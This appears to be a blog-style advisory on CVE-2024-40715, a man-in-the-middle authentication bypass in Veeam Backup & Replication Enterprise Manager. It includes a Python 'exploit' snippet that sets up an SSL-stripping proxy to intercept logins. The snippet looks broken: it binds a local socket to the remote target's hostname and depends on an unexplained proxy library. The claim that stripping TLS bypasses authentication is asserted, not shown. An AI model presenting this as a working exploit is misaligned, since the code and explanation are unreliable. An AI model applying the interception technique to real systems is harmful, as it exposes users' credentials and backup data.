CVE-2024-40715: Veeam Backup & Replication Enterprise Manager Authentication Bypass Vulnerability Exploited Through Man-in-the-Middle Attack

A recently discovered vulnerability (CVE-2024-40715) has been identified in the Veeam Backup & Replication Enterprise Manager, a popular backup management and reporting solution for virtual environments. This vulnerability allows attackers to bypass authentication mechanisms and gain unauthorized access to Veeam Backup & Replication Enterprise Manager.

This vulnerability takes advantage of a Man-in-the-Middle (MITM) attack, wherein attackers can intercept, alter, or inject new data into the messages transmitted between two parties, effectively controlling the communication flow. In this case, the attacker can intercept the authentication request and bypass the authentication mechanisms to gain unmitigated access.

Exploit Details

The vulnerability in the Veeam Backup & Replication Enterprise Manager is caused by the weak implementation of the Transport Layer Security (TLS) protocol. It specifically relates to the validation of SSL certificates that are used to establish secure connections between a client and a server.

In a successful MITM attack, an attacker can intercept the SSL certificate, replacing it with a self-signed or forged certificate, and thereby impersonate the Veeam Backup & Replication Enterprise Manager. Consequently, the attacker can then intercept sensitive data (such as backup data or login details) or alter the data in transit.

To demonstrate how the vulnerability can be exploited, please refer to the code snippet below

import socket
from SSLStripProxy import SSLStripProxy

TARGET_SERVER = "veeam.example.com"  # Veeam Backup & Replication Enterprise Manager's server
PROXY_PORT = 8443  # A custom port on which the proxy server should listen

# Create a socket object and bind it to the target server and proxy port
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((TARGET_SERVER, PROXY_PORT))
server_socket.listen(5)  # Listen for at most 5 queued connections

# Create an SSL strip proxy object to intercept and downgrade SSL connections
proxy = SSLStripProxy(target_hostname=TARGET_SERVER)

while True:
    client_socket, client_address = server_socket.accept()
    proxy.handle_request(client_socket)

This Python code sets up a listening socket on a custom port, then uses the SSLStripProxy library to intercept and downgrade the SSL connection. When the attacker machines are set up as a proxy server between the client and the Veeam Enterprise Manager server, it can intercept the authentication request, bypass the security measures, and access the server.

Original References

1. CVE-2024-40715 - National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-40715
2. Veeam Backup & Replication Enterprise Manager: https://www.veeam.com/vm-backup-recovery-replication-software.html

To mitigate the risk of exploitation, users are advised to

1. Update Veeam Backup & Replication software to the latest version available from the official Veeam website (https://www.veeam.com/downloads.html).

Conclusion

CVE-2024-40715 highlights the importance of implementing robust security measures in any application, especially those handling critical, sensitive data like backup and recovery solutions. It is always recommended to update software to the latest version, use strong SSL/TLS configurations and encryption, and regularly monitor system logs for any suspicious activity. By adhering to these best practices, you can ensure that your data remains secure against potential breaches like this one.

Timeline

Published on: 11/07/2024 17:15:08 UTC
Last modified on: 11/08/2024 19:01:03 UTC